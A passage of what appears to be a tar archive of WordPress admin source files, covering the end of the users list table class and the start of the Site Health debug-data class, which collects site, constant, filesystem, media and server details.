				$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
			} else {
				$edit = "<strong>{$user_object->user_login}{$super_admin}</strong><br />";
			}

			if ( ! is_multisite()
				&& get_current_user_id() !== $user_object->ID
				&& current_user_can( 'delete_user', $user_object->ID )
			) {
				$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . '</a>';
			}

			if ( is_multisite()
				&& current_user_can( 'remove_user', $user_object->ID )
			) {
				$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url . "action=remove&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . '</a>';
			}

			// Add a link to the user's author archive, if not empty.
			$author_posts_url = get_author_posts_url( $user_object->ID );
			if ( $author_posts_url ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					esc_url( $author_posts_url ),
					/* translators: %s: Author's display name. */
					esc_attr( sprintf( __( 'View posts by %s' ), $user_object->display_name ) ),
					__( 'View' )
				);
			}

			// Add a link to send the user a reset password link by email.
			if ( get_current_user_id() !== $user_object->ID
				&& current_user_can( 'edit_user', $user_object->ID )
				&& true === wp_is_password_reset_allowed_for_user( $user_object )
			) {
				$actions['resetpassword'] = "<a class='resetpassword' href='" . wp_nonce_url( "users.php?action=resetpassword&amp;users=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Send password reset' ) . '</a>';
			}

			/**
			 * Filters the action links displayed under each user in the Users list table.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions     An array of action links to be displayed.
			 *                              Default 'Edit', 'Delete' for single site, and
			 *                              'Edit', 'Remove' for Multisite.
			 * @param WP_User  $user_object WP_User object for the currently listed user.
			 */
			$actions = apply_filters( 'user_row_actions', $actions, $user_object );

			// Role classes.
			$role_classes = esc_attr( implode( ' ', array_keys( $user_roles ) ) );

			// Set up the checkbox (because the user is editable, otherwise it's empty).
			$checkbox = sprintf(
				'<input type="checkbox" name="users[]" id="user_%1$s" class="%2$s" value="%1$s" />' .
				'<label for="user_%1$s"><span class="screen-reader-text">%3$s</span></label>',
				$user_object->ID,
				$role_classes,
				/* translators: Hidden accessibility text. %s: User login. */
				sprintf( __( 'Select %s' ), $user_object->user_login )
			);

		} else {
			$edit = "<strong>{$user_object->user_login}{$super_admin}</strong>";
		}

		$avatar = get_avatar( $user_object->ID, 32 );

		// Comma-separated list of user roles.
		$roles_list = implode( ', ', $user_roles );

		$row = "<tr id='user-$user_object->ID'>";

		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$classes = "$column_name column-$column_name";
			if ( $primary === $column_name ) {
				$classes .= ' has-row-actions column-primary';
			}
			if ( 'posts' === $column_name ) {
				$classes .= ' num'; // Special case for that column.
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			$data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"';

			$attributes = "class='$classes' $data";

			if ( 'cb' === $column_name ) {
				$row .= "<th scope='row' class='check-column'>$checkbox</th>";
			} else {
				$row .= "<td $attributes>";
				switch ( $column_name ) {
					case 'username':
						$row .= "$avatar $edit";
						break;
					case 'name':
						if ( $user_object->first_name && $user_object->last_name ) {
							$row .= sprintf(
								/* translators: 1: User's first name, 2: Last name. */
								_x( '%1$s %2$s', 'Display name based on first name and last name' ),
								$user_object->first_name,
								$user_object->last_name
							);
						} elseif ( $user_object->first_name ) {
							$row .= $user_object->first_name;
						} elseif ( $user_object->last_name ) {
							$row .= $user_object->last_name;
						} else {
							$row .= sprintf(
								'<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">%s</span>',
								/* translators: Hidden accessibility text. */
								_x( 'Unknown', 'name' )
							);
						}
						break;
					case 'email':
						$row .= "<a href='" . esc_url( "mailto:$email" ) . "'>$email</a>";
						break;
					case 'role':
						$row .= esc_html( $roles_list );
						break;
					case 'posts':
						if ( $numposts > 0 ) {
							$row .= sprintf(
								'<a href="%s" class="edit"><span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
								"edit.php?author={$user_object->ID}",
								$numposts,
								sprintf(
									/* translators: Hidden accessibility text. %s: Number of posts. */
									_n( '%s post by this author', '%s posts by this author', $numposts ),
									number_format_i18n( $numposts )
								)
							);
						} else {
							$row .= 0;
						}
						break;
					default:
						/**
						 * Filters the display output of custom columns in the Users list table.
						 *
						 * @since 2.8.0
						 *
						 * @param string $output      Custom column output. Default empty.
						 * @param string $column_name Column name.
						 * @param int    $user_id     ID of the currently-listed user.
						 */
						$row .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
				}

				if ( $primary === $column_name ) {
					$row .= $this->row_actions( $actions );
				}
				$row .= '</td>';
			}
		}
		$row .= '</tr>';

		return $row;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

	/**
	 * Returns an array of translated user role names for a given user object.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user_object The WP_User object.
	 * @return string[] An array of user role names keyed by role.
	 */
	protected function get_role_list( $user_object ) {
		$wp_roles = wp_roles();

		$role_list = array();

		foreach ( $user_object->roles as $role ) {
			if ( isset( $wp_roles->role_names[ $role ] ) ) {
				$role_list[ $role ] = translate_user_role( $wp_roles->role_names[ $role ] );
			}
		}

		if ( empty( $role_list ) ) {
			$role_list['none'] = _x( 'None', 'no user roles' );
		}

		/**
		 * Filters the returned array of translated role names for a user.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $role_list   An array of translated user role names keyed by role.
		 * @param WP_User  $user_object A WP_User object.
		 */
		return apply_filters( 'get_role_list', $role_list, $user_object );
	}
}
class-wp-debug-data.php.tar000064400000172000150275632050011573 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-debug-data.php000064400000166016150274230320022367 0ustar00<?php
/**
 * Class for providing debug data based on a users WordPress environment.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Debug_Data {
	/**
	 * Calls all core functions to check for updates.
	 *
	 * @since 5.2.0
	 */
	public static function check_for_updates() {
		wp_version_check();
		wp_update_plugins();
		wp_update_themes();
	}

	/**
	 * Static function for generating site debug data when required.
	 *
	 * @since 5.2.0
	 * @since 5.3.0 Added database charset, database collation,
	 *              and timezone information.
	 * @since 5.5.0 Added pretty permalinks support information.
	 *
	 * @throws ImagickException
	 * @global wpdb  $wpdb               WordPress database abstraction object.
	 * @global array $_wp_theme_features
	 *
	 * @return array The debug data for the site.
	 */
	public static function debug_data() {
		global $wpdb, $_wp_theme_features;

		// Save few function calls.
		$upload_dir             = wp_upload_dir();
		$permalink_structure    = get_option( 'permalink_structure' );
		$is_ssl                 = is_ssl();
		$is_multisite           = is_multisite();
		$users_can_register     = get_option( 'users_can_register' );
		$blog_public            = get_option( 'blog_public' );
		$default_comment_status = get_option( 'default_comment_status' );
		$environment_type       = wp_get_environment_type();
		$core_version           = get_bloginfo( 'version' );
		$core_updates           = get_core_updates();
		$core_update_needed     = '';

		if ( is_array( $core_updates ) ) {
			foreach ( $core_updates as $core => $update ) {
				if ( 'upgrade' === $update->response ) {
					/* translators: %s: Latest WordPress version number. */
					$core_update_needed = ' ' . sprintf( __( '(Latest version: %s)' ), $update->version );
				} else {
					$core_update_needed = '';
				}
			}
		}

		// Set up the array that holds all debug information.
		$info = array();

		$info['wp-core'] = array(
			'label'  => __( 'WordPress' ),
			'fields' => array(
				'version'                => array(
					'label' => __( 'Version' ),
					'value' => $core_version . $core_update_needed,
					'debug' => $core_version,
				),
				'site_language'          => array(
					'label' => __( 'Site Language' ),
					'value' => get_locale(),
				),
				'user_language'          => array(
					'label' => __( 'User Language' ),
					'value' => get_user_locale(),
				),
				'timezone'               => array(
					'label' => __( 'Timezone' ),
					'value' => wp_timezone_string(),
				),
				'home_url'               => array(
					'label'   => __( 'Home URL' ),
					'value'   => get_bloginfo( 'url' ),
					'private' => true,
				),
				'site_url'               => array(
					'label'   => __( 'Site URL' ),
					'value'   => get_bloginfo( 'wpurl' ),
					'private' => true,
				),
				'permalink'              => array(
					'label' => __( 'Permalink structure' ),
					'value' => $permalink_structure ? $permalink_structure : __( 'No permalink structure set' ),
					'debug' => $permalink_structure,
				),
				'https_status'           => array(
					'label' => __( 'Is this site using HTTPS?' ),
					'value' => $is_ssl ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_ssl,
				),
				'multisite'              => array(
					'label' => __( 'Is this a multisite?' ),
					'value' => $is_multisite ? __( 'Yes' ) : __( 'No' ),
					'debug' => $is_multisite,
				),
				'user_registration'      => array(
					'label' => __( 'Can anyone register on this site?' ),
					'value' => $users_can_register ? __( 'Yes' ) : __( 'No' ),
					'debug' => $users_can_register,
				),
				'blog_public'            => array(
					'label' => __( 'Is this site discouraging search engines?' ),
					'value' => $blog_public ? __( 'No' ) : __( 'Yes' ),
					'debug' => $blog_public,
				),
				'default_comment_status' => array(
					'label' => __( 'Default comment status' ),
					'value' => 'open' === $default_comment_status ? _x( 'Open', 'comment status' ) : _x( 'Closed', 'comment status' ),
					'debug' => $default_comment_status,
				),
				'environment_type'       => array(
					'label' => __( 'Environment type' ),
					'value' => $environment_type,
					'debug' => $environment_type,
				),
			),
		);

		if ( ! $is_multisite ) {
			$info['wp-paths-sizes'] = array(
				'label'  => __( 'Directories and Sizes' ),
				'fields' => array(),
			);
		}

		$info['wp-dropins'] = array(
			'label'       => __( 'Drop-ins' ),
			'show_count'  => true,
			'description' => sprintf(
				/* translators: %s: wp-content directory name. */
				__( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ),
				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
			),
			'fields'      => array(),
		);

		$info['wp-active-theme'] = array(
			'label'  => __( 'Active Theme' ),
			'fields' => array(),
		);

		$info['wp-parent-theme'] = array(
			'label'  => __( 'Parent Theme' ),
			'fields' => array(),
		);

		$info['wp-themes-inactive'] = array(
			'label'      => __( 'Inactive Themes' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-mu-plugins'] = array(
			'label'      => __( 'Must Use Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-active'] = array(
			'label'      => __( 'Active Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-plugins-inactive'] = array(
			'label'      => __( 'Inactive Plugins' ),
			'show_count' => true,
			'fields'     => array(),
		);

		$info['wp-media'] = array(
			'label'  => __( 'Media Handling' ),
			'fields' => array(),
		);

		$info['wp-server'] = array(
			'label'       => __( 'Server' ),
			'description' => __( 'The options shown below relate to your server setup. If changes are required, you may need your web host&#8217;s assistance.' ),
			'fields'      => array(),
		);

		$info['wp-database'] = array(
			'label'  => __( 'Database' ),
			'fields' => array(),
		);

		// Check if WP_DEBUG_LOG is set.
		$wp_debug_log_value = __( 'Disabled' );

		if ( is_string( WP_DEBUG_LOG ) ) {
			$wp_debug_log_value = WP_DEBUG_LOG;
		} elseif ( WP_DEBUG_LOG ) {
			$wp_debug_log_value = __( 'Enabled' );
		}

		// Check CONCATENATE_SCRIPTS.
		if ( defined( 'CONCATENATE_SCRIPTS' ) ) {
			$concatenate_scripts       = CONCATENATE_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$concatenate_scripts_debug = CONCATENATE_SCRIPTS ? 'true' : 'false';
		} else {
			$concatenate_scripts       = __( 'Undefined' );
			$concatenate_scripts_debug = 'undefined';
		}

		// Check COMPRESS_SCRIPTS.
		if ( defined( 'COMPRESS_SCRIPTS' ) ) {
			$compress_scripts       = COMPRESS_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_scripts_debug = COMPRESS_SCRIPTS ? 'true' : 'false';
		} else {
			$compress_scripts       = __( 'Undefined' );
			$compress_scripts_debug = 'undefined';
		}

		// Check COMPRESS_CSS.
		if ( defined( 'COMPRESS_CSS' ) ) {
			$compress_css       = COMPRESS_CSS ? __( 'Enabled' ) : __( 'Disabled' );
			$compress_css_debug = COMPRESS_CSS ? 'true' : 'false';
		} else {
			$compress_css       = __( 'Undefined' );
			$compress_css_debug = 'undefined';
		}

		// Check WP_ENVIRONMENT_TYPE.
		if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) {
			$wp_environment_type = WP_ENVIRONMENT_TYPE;
		} else {
			$wp_environment_type = __( 'Undefined' );
		}

		$info['wp-constants'] = array(
			'label'       => __( 'WordPress Constants' ),
			'description' => __( 'These settings alter where and how parts of WordPress are loaded.' ),
			'fields'      => array(
				'ABSPATH'             => array(
					'label'   => 'ABSPATH',
					'value'   => ABSPATH,
					'private' => true,
				),
				'WP_HOME'             => array(
					'label' => 'WP_HOME',
					'value' => ( defined( 'WP_HOME' ) ? WP_HOME : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_HOME' ) ? WP_HOME : 'undefined' ),
				),
				'WP_SITEURL'          => array(
					'label' => 'WP_SITEURL',
					'value' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : __( 'Undefined' ) ),
					'debug' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : 'undefined' ),
				),
				'WP_CONTENT_DIR'      => array(
					'label' => 'WP_CONTENT_DIR',
					'value' => WP_CONTENT_DIR,
				),
				'WP_PLUGIN_DIR'       => array(
					'label' => 'WP_PLUGIN_DIR',
					'value' => WP_PLUGIN_DIR,
				),
				'WP_MEMORY_LIMIT'     => array(
					'label' => 'WP_MEMORY_LIMIT',
					'value' => WP_MEMORY_LIMIT,
				),
				'WP_MAX_MEMORY_LIMIT' => array(
					'label' => 'WP_MAX_MEMORY_LIMIT',
					'value' => WP_MAX_MEMORY_LIMIT,
				),
				'WP_DEBUG'            => array(
					'label' => 'WP_DEBUG',
					'value' => WP_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG,
				),
				'WP_DEBUG_DISPLAY'    => array(
					'label' => 'WP_DEBUG_DISPLAY',
					'value' => WP_DEBUG_DISPLAY ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_DEBUG_DISPLAY,
				),
				'WP_DEBUG_LOG'        => array(
					'label' => 'WP_DEBUG_LOG',
					'value' => $wp_debug_log_value,
					'debug' => WP_DEBUG_LOG,
				),
				'SCRIPT_DEBUG'        => array(
					'label' => 'SCRIPT_DEBUG',
					'value' => SCRIPT_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => SCRIPT_DEBUG,
				),
				'WP_CACHE'            => array(
					'label' => 'WP_CACHE',
					'value' => WP_CACHE ? __( 'Enabled' ) : __( 'Disabled' ),
					'debug' => WP_CACHE,
				),
				'CONCATENATE_SCRIPTS' => array(
					'label' => 'CONCATENATE_SCRIPTS',
					'value' => $concatenate_scripts,
					'debug' => $concatenate_scripts_debug,
				),
				'COMPRESS_SCRIPTS'    => array(
					'label' => 'COMPRESS_SCRIPTS',
					'value' => $compress_scripts,
					'debug' => $compress_scripts_debug,
				),
				'COMPRESS_CSS'        => array(
					'label' => 'COMPRESS_CSS',
					'value' => $compress_css,
					'debug' => $compress_css_debug,
				),
				'WP_ENVIRONMENT_TYPE' => array(
					'label' => 'WP_ENVIRONMENT_TYPE',
					'value' => $wp_environment_type,
					'debug' => $wp_environment_type,
				),
				'WP_DEVELOPMENT_MODE' => array(
					'label' => 'WP_DEVELOPMENT_MODE',
					'value' => WP_DEVELOPMENT_MODE ? WP_DEVELOPMENT_MODE : __( 'Disabled' ),
					'debug' => WP_DEVELOPMENT_MODE,
				),
				'DB_CHARSET'          => array(
					'label' => 'DB_CHARSET',
					'value' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : 'undefined' ),
				),
				'DB_COLLATE'          => array(
					'label' => 'DB_COLLATE',
					'value' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : 'undefined' ),
				),
			),
		);

		$is_writable_abspath            = wp_is_writable( ABSPATH );
		$is_writable_wp_content_dir     = wp_is_writable( WP_CONTENT_DIR );
		$is_writable_upload_dir         = wp_is_writable( $upload_dir['basedir'] );
		$is_writable_wp_plugin_dir      = wp_is_writable( WP_PLUGIN_DIR );
		$is_writable_template_directory = wp_is_writable( get_theme_root( get_template() ) );

		$info['wp-filesystem'] = array(
			'label'       => __( 'Filesystem Permissions' ),
			'description' => __( 'Shows whether WordPress is able to write to the directories it needs access to.' ),
			'fields'      => array(
				'wordpress'  => array(
					'label' => __( 'The main WordPress directory' ),
					'value' => ( $is_writable_abspath ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_abspath ? 'writable' : 'not writable' ),
				),
				'wp-content' => array(
					'label' => __( 'The wp-content directory' ),
					'value' => ( $is_writable_wp_content_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_content_dir ? 'writable' : 'not writable' ),
				),
				'uploads'    => array(
					'label' => __( 'The uploads directory' ),
					'value' => ( $is_writable_upload_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_upload_dir ? 'writable' : 'not writable' ),
				),
				'plugins'    => array(
					'label' => __( 'The plugins directory' ),
					'value' => ( $is_writable_wp_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_plugin_dir ? 'writable' : 'not writable' ),
				),
				'themes'     => array(
					'label' => __( 'The themes directory' ),
					'value' => ( $is_writable_template_directory ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_template_directory ? 'writable' : 'not writable' ),
				),
			),
		);

		// Conditionally add debug information for multisite setups.
		if ( is_multisite() ) {
			$network_query = new WP_Network_Query();
			$network_ids   = $network_query->query(
				array(
					'fields'        => 'ids',
					'number'        => 100,
					'no_found_rows' => false,
				)
			);

			$site_count = 0;
			foreach ( $network_ids as $network_id ) {
				$site_count += get_blog_count( $network_id );
			}

			$info['wp-core']['fields']['site_count'] = array(
				'label' => __( 'Site count' ),
				'value' => $site_count,
			);

			$info['wp-core']['fields']['network_count'] = array(
				'label' => __( 'Network count' ),
				'value' => $network_query->found_networks,
			);
		}

		$info['wp-core']['fields']['user_count'] = array(
			'label' => __( 'User count' ),
			'value' => get_user_count(),
		);

		// WordPress features requiring processing.
		$wp_dotorg = wp_remote_get( 'https://wordpress.org', array( 'timeout' => 10 ) );

		if ( ! is_wp_error( $wp_dotorg ) ) {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => __( 'WordPress.org is reachable' ),
				'debug' => 'true',
			);
		} else {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => sprintf(
					/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
					__( 'Unable to reach WordPress.org at %1$s: %2$s' ),
					gethostbyname( 'wordpress.org' ),
					$wp_dotorg->get_error_message()
				),
				'debug' => $wp_dotorg->get_error_message(),
			);
		}

		// Remove accordion for Directories and Sizes if in Multisite.
		if ( ! $is_multisite ) {
			$loading = __( 'Loading&hellip;' );

			$info['wp-paths-sizes']['fields'] = array(
				'wordpress_path' => array(
					'label' => __( 'WordPress directory location' ),
					'value' => untrailingslashit( ABSPATH ),
				),
				'wordpress_size' => array(
					'label' => __( 'WordPress directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'uploads_path'   => array(
					'label' => __( 'Uploads directory location' ),
					'value' => $upload_dir['basedir'],
				),
				'uploads_size'   => array(
					'label' => __( 'Uploads directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'themes_path'    => array(
					'label' => __( 'Themes directory location' ),
					'value' => get_theme_root(),
				),
				'themes_size'    => array(
					'label' => __( 'Themes directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'plugins_path'   => array(
					'label' => __( 'Plugins directory location' ),
					'value' => WP_PLUGIN_DIR,
				),
				'plugins_size'   => array(
					'label' => __( 'Plugins directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'database_size'  => array(
					'label' => __( 'Database size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'total_size'     => array(
					'label' => __( 'Total installation size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
			);
		}

		// Get a list of all drop-in replacements.
		$dropins = get_dropins();

		// Get dropins descriptions.
		$dropin_descriptions = _get_dropins();

		// Spare few function calls.
		$not_available = __( 'Not available' );

		foreach ( $dropins as $dropin_key => $dropin ) {
			$info['wp-dropins']['fields'][ sanitize_text_field( $dropin_key ) ] = array(
				'label' => $dropin_key,
				'value' => $dropin_descriptions[ $dropin_key ][0],
				'debug' => 'true',
			);
		}

		// Populate the media fields.
		$info['wp-media']['fields']['image_editor'] = array(
			'label' => __( 'Active editor' ),
			'value' => _wp_image_editor_choose(),
		);

		// Get ImageMagic information, if available.
		if ( class_exists( 'Imagick' ) ) {
			// Save the Imagick instance for later use.
			$imagick             = new Imagick();
			$imagemagick_version = $imagick->getVersion();
		} else {
			$imagemagick_version = __( 'Not available' );
		}

		$info['wp-media']['fields']['imagick_module_version'] = array(
			'label' => __( 'ImageMagick version number' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionNumber'] : $imagemagick_version ),
		);

		$info['wp-media']['fields']['imagemagick_version'] = array(
			'label' => __( 'ImageMagick version string' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionString'] : $imagemagick_version ),
		);

		$imagick_version = phpversion( 'imagick' );

		$info['wp-media']['fields']['imagick_version'] = array(
			'label' => __( 'Imagick version' ),
			'value' => ( $imagick_version ) ? $imagick_version : __( 'Not available' ),
		);

		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-media']['fields']['ini_get'] = array(
				'label' => __( 'File upload settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			// Get the PHP ini directive values.
			$file_uploads        = ini_get( 'file_uploads' );
			$post_max_size       = ini_get( 'post_max_size' );
			$upload_max_filesize = ini_get( 'upload_max_filesize' );
			$max_file_uploads    = ini_get( 'max_file_uploads' );
			$effective           = min( wp_convert_hr_to_bytes( $post_max_size ), wp_convert_hr_to_bytes( $upload_max_filesize ) );

			// Add info in Media section.
			$info['wp-media']['fields']['file_uploads']        = array(
				'label' => __( 'File uploads' ),
				'value' => $file_uploads ? __( 'Enabled' ) : __( 'Disabled' ),
				'debug' => $file_uploads,
			);
			$info['wp-media']['fields']['post_max_size']       = array(
				'label' => __( 'Max size of post data allowed' ),
				'value' => $post_max_size,
			);
			$info['wp-media']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Max size of an uploaded file' ),
				'value' => $upload_max_filesize,
			);
			$info['wp-media']['fields']['max_effective_size']  = array(
				'label' => __( 'Max effective file size' ),
				'value' => size_format( $effective ),
			);
			$info['wp-media']['fields']['max_file_uploads']    = array(
				'label' => __( 'Max number of files allowed' ),
				'value' => number_format( $max_file_uploads ),
			);
		}

		// If Imagick is used as our editor, provide some more information about its limitations.
		if ( 'WP_Image_Editor_Imagick' === _wp_image_editor_choose() && isset( $imagick ) && $imagick instanceof Imagick ) {
			$limits = array(
				'area'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : $not_available ),
				'disk'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : $not_available ),
				'file'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : $not_available ),
				'map'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : $not_available ),
				'memory' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : $not_available ),
				'thread' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : $not_available ),
				'time'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : $not_available ),
			);

			$limits_debug = array(
				'imagick::RESOURCETYPE_AREA'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : 'not available' ),
				'imagick::RESOURCETYPE_DISK'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : 'not available' ),
				'imagick::RESOURCETYPE_FILE'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : 'not available' ),
				'imagick::RESOURCETYPE_MAP'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : 'not available' ),
				'imagick::RESOURCETYPE_MEMORY' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : 'not available' ),
				'imagick::RESOURCETYPE_THREAD' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : 'not available' ),
				'imagick::RESOURCETYPE_TIME'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : 'not available' ),
			);

			$info['wp-media']['fields']['imagick_limits'] = array(
				'label' => __( 'Imagick Resource Limits' ),
				'value' => $limits,
				'debug' => $limits_debug,
			);

			try {
				$formats = Imagick::queryFormats( '*' );
			} catch ( Exception $e ) {
				$formats = array();
			}

			$info['wp-media']['fields']['imagemagick_file_formats'] = array(
				'label' => __( 'ImageMagick supported file formats' ),
				'value' => ( empty( $formats ) ) ? __( 'Unable to determine' ) : implode( ', ', $formats ),
				'debug' => ( empty( $formats ) ) ? 'Unable to determine' : implode( ', ', $formats ),
			);
		}

		// Get GD information, if available.
		if ( function_exists( 'gd_info' ) ) {
			$gd = gd_info();
		} else {
			$gd = false;
		}

		$info['wp-media']['fields']['gd_version'] = array(
			'label' => __( 'GD version' ),
			'value' => ( is_array( $gd ) ? $gd['GD Version'] : $not_available ),
			'debug' => ( is_array( $gd ) ? $gd['GD Version'] : 'not available' ),
		);

		$gd_image_formats     = array();
		$gd_supported_formats = array(
			'GIF Create' => 'GIF',
			'JPEG'       => 'JPEG',
			'PNG'        => 'PNG',
			'WebP'       => 'WebP',
			'BMP'        => 'BMP',
			'AVIF'       => 'AVIF',
			'HEIF'       => 'HEIF',
			'TIFF'       => 'TIFF',
			'XPM'        => 'XPM',
		);

		foreach ( $gd_supported_formats as $format_key => $format ) {
			$index = $format_key . ' Support';
			if ( isset( $gd[ $index ] ) && $gd[ $index ] ) {
				array_push( $gd_image_formats, $format );
			}
		}

		if ( ! empty( $gd_image_formats ) ) {
			$info['wp-media']['fields']['gd_formats'] = array(
				'label' => __( 'GD supported file formats' ),
				'value' => implode( ', ', $gd_image_formats ),
			);
		}

		// Get Ghostscript information, if available.
		if ( function_exists( 'exec' ) ) {
			$gs = exec( 'gs --version' );

			if ( empty( $gs ) ) {
				$gs       = $not_available;
				$gs_debug = 'not available';
			} else {
				$gs_debug = $gs;
			}
		} else {
			$gs       = __( 'Unable to determine if Ghostscript is installed' );
			$gs_debug = 'unknown';
		}

		$info['wp-media']['fields']['ghostscript_version'] = array(
			'label' => __( 'Ghostscript version' ),
			'value' => $gs,
			'debug' => $gs_debug,
		);

		// Populate the server debug fields.
		if ( function_exists( 'php_uname' ) ) {
			$server_architecture = sprintf( '%s %s %s', php_uname( 's' ), php_uname( 'r' ), php_uname( 'm' ) );
		} else {
			$server_architecture = 'unknown';
		}

		$php_version_debug = PHP_VERSION;
		// Whether PHP supports 64-bit.
		$php64bit = ( PHP_INT_SIZE * 8 === 64 );

		$php_version = sprintf(
			'%s %s',
			$php_version_debug,
			( $php64bit ? __( '(Supports 64bit values)' ) : __( '(Does not support 64bit values)' ) )
		);

		if ( $php64bit ) {
			$php_version_debug .= ' 64bit';
		}

		$info['wp-server']['fields']['server_architecture'] = array(
			'label' => __( 'Server architecture' ),
			'value' => ( 'unknown' !== $server_architecture ? $server_architecture : __( 'Unable to determine server architecture' ) ),
			'debug' => $server_architecture,
		);
		$info['wp-server']['fields']['httpd_software']      = array(
			'label' => __( 'Web server' ),
			'value' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : __( 'Unable to determine what web server software is used' ) ),
			'debug' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ),
		);
		$info['wp-server']['fields']['php_version']         = array(
			'label' => __( 'PHP version' ),
			'value' => $php_version,
			'debug' => $php_version_debug,
		);
		$info['wp-server']['fields']['php_sapi']            = array(
			'label' => __( 'PHP SAPI' ),
